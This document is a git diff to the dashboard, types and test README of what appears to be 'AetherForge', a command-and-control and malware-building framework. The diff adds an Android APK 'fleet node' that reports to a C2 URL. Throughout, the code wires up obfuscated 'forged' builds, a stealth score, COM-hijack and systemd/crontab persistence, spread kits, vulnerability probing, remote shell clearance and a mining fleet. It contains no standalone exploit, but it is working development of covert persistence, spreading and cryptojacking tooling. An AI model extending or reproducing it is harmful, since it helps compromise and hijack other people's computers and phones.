+ Install the forged APK on a phone or tablet. Grant permissions on first open — the node joins your fleet as{' '} + platform=android (mining off by default). Not a mining-first deliverable; use for fleet presence on mobile. +

+ )}
{!simpleMode && ( @@ -2281,7 +2309,7 @@ export default function BuilderPage() { )} - {deliverableType !== 'spread_kit' && ( + {deliverableType !== 'spread_kit' && !form.apk_mode && (
IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running'); } -function platformIcon(platform?: string): string { - if (!platform) return '⬡'; - const p = platform.toLowerCase(); - if (p.includes('win')) return '⊞'; - if (p.includes('linux')) return '🐧'; - if (p.includes('darwin')) return ''; - return '⬡'; -} - let _lineId = 0; function mkId() { return `tl-${++_lineId}`; } diff --git a/server/web/src/pages/LotlTimelinePage.tsx b/server/web/src/pages/LotlTimelinePage.tsx index 4f3364e..680812b 100644 --- a/server/web/src/pages/LotlTimelinePage.tsx +++ b/server/web/src/pages/LotlTimelinePage.tsx @@ -6,6 +6,7 @@ import { buildLotlTimelineModel, resolveLotlTierOrder, } from '../help/lotlTimeline'; +import { isAndroidPlatform } from '../help/platform'; import { clearanceTimelineSummary, type ClearanceEventRecord } from '../help/clearance'; import { parseAccessDepthServerPolicy } from '../help/accessDepth'; import type { AIDecisionRecord } from '../types'; @@ -117,9 +118,12 @@ export default function LotlTimelinePage() { const timelineModel = useMemo(() => { if (!selectedAgent) return null; + const order = isAndroidPlatform(selectedAgent.platform) + ? resolveLotlTierOrder(undefined, selectedAgent) + : tierOrder; return buildLotlTimelineModel( selectedAgent, - tierOrder, + order, selectedAgent.lotl_attempts ?? [], [], selectedAgent.atlas_skips ?? [], diff --git a/server/web/src/pages/ROIPage.tsx b/server/web/src/pages/ROIPage.tsx index 916879a..762bf71 100644 --- a/server/web/src/pages/ROIPage.tsx +++ b/server/web/src/pages/ROIPage.tsx @@ -2,6 +2,7 @@ import { useState, useEffect, useMemo } from 'react'; import { useWebSocket } from '../hooks/useWebSocket'; import { api } from '../api/client'; import { formatHashrate } from '../help/fleetFilters'; +import { platformIcon } from '../help/platform'; import './ROIPage.css'; // ── helpers ─────────────────────────────────────────────────────────────── @@ -15,14 +16,6 @@ function fmtUSD(n: number): string { return `$${n.toFixed(2)}`; } -function platformIcon(platform?: string): string { - const p = (platform ?? '').toLowerCase(); - if (p.includes('win')) return '⊞'; - if (p.includes('linux')) return '🐧'; - if (p.includes('darwin')) return ''; - return '⬡'; -} - function effBadge(pct: number): { label: string; cls: string } { if (pct >= 75) return { label: 'TOP', cls: 'top' }; if (pct >= 40) return { label: 'MID', cls: 'mid' }; diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 24ffd89..cd520ad 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -560,8 +560,12 @@ export interface BuildRequest { com_hijack_persist?: boolean; /** Linux LOTL persistence: systemd_run_user | crontab | both | off */ linux_lotl_mode?: 'systemd_run_user' | 'crontab' | 'both' | 'off'; - target_os?: 'windows' | 'linux' | 'darwin' | 'universal'; + target_os?: 'windows' | 'linux' | 'darwin' | 'universal' | 'android'; target_arch?: string; + /** Android fleet-node APK (mining off by default). */ + apk_mode?: boolean; + apk_agent_name?: string; + mining_disabled?: boolean; spread_kit?: boolean; obfuscate?: boolean; /** Post-forge PE overlay + timestamp uniquification (Sigil Scramble). */ @@ -647,6 +651,7 @@ export interface BuildResponse { sigil_scramble?: boolean; binary_fingerprint?: string; stealth_score?: number; + artifact_path?: string; } export interface PathTraceHop { diff --git a/server/web/src/types/lotl.ts b/server/web/src/types/lotl.ts index 0ea812a..17badb2 100644 --- a/server/web/src/types/lotl.ts +++ b/server/web/src/types/lotl.ts @@ -42,6 +42,9 @@ const TIER_LABELS: Record = { stratum: 'Stratum', vuln_recon: 'Vuln Recon', vuln_probe: 'Vuln Recon', + foreground_service: 'Foreground Service', + cpu_inprocess: 'In-Process CPU', + desktop_tiers_skipped: 'Desktop tiers skipped', }; export function formatLotlTierLabel(tier: string): string { diff --git a/tests/README.md b/tests/README.md index b5f23a0..79c297f 100644 --- a/tests/README.md +++ b/tests/README.md @@ -388,7 +388,7 @@ set AETHERFORGE_URL=http://127.0.0.1:8989 cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts ``` -`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` so stub agents authenticate without scraping `/api/v1/config`. +`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` (regex parse — avoids PowerShell duplicate-key JSON issues) and `AETHERFORGE_E2E=1` on the server so online stub agents get L3 shell clearance for exec/whoami round-trips. `e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected. @@ -506,6 +506,34 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts | Forge LOTL Onion preset UI | `applyOperationMode('lotl_onion')` flags | `server/web/src/help/forgeOperationModes.test.ts` | 4 | | LOTL onion tier docs | 14-tier spread chain constants (sync with `DefaultLotlOnionTiers`) | `server/web/src/help/lotlOnionTiers.test.ts`, `agent/deploy/lotl_tiers_test.go`, `server/internal/builder/lotl_onion_test.go` | 2 / 4 | | Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | `server/internal/api/fleet_handler_test.go`, `components.test.tsx` | 1 / 4 | +| `TestRegistrationPlatformFromEnv` / `TestAuthPayloadPlatformFromEnv` | APK wrapper `AETHERFORGE_PLATFORM=android` → auth `platform` | `agent/config/platform_test.go`, `agent/client/protocol_test.go` | 2 | +| `TestSelectMiningTierChainAndroid` | Shortened foreground → in-process tier chain | `agent/miner/lotl_tier_test.go` | 2 | +| `buildAccessDepthModel android` / `buildLotlTimelineModel android` | Android probes + 3-step onion timeline | `server/web/src/help/accessDepth.test.ts`, `lotlTimeline.test.ts`, `platform.test.ts` | 4 | + +### APK fleet node mode + +Android workers are embedded Go binaries launched by the APK Java wrapper. Before spawn the wrapper sets: + +- `AETHERFORGE_SERVER_URL` — C2 base URL +- `AETHERFORGE_WORKER_NUMBER` — fleet worker slot (shown in AI snapshots) +- `AETHERFORGE_PLATFORM=android` — registration label (overrides `runtime.GOOS=linux`) + +Optional probe env vars for Access Depth (`environment_probes`): + +- `AETHERFORGE_WIFI_CONNECTED=1` +- `AETHERFORGE_BATTERY_OK=1` +- `AETHERFORGE_FOREGROUND_SERVICE=1` + +Forge may also bake `ApkMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env. + +Quick run: + +```bat +cd agent && go test ./config/... ./client/... ./miner/... -run "RegistrationPlatform|AuthPayloadPlatform|SelectMiningTierChainAndroid" -count=1 +cd server\web && npm test -- --run src/help/platform.test.ts src/help/accessDepth.test.ts src/help/lotlTimeline.test.ts +``` + +Crucible shows 🤖 for Android roster rows; Access Depth uses Wi-Fi / battery / foreground-service probe chips and a 2-tier mining onion (desktop tiers listed as skipped). Run LOTL Go tests quickly: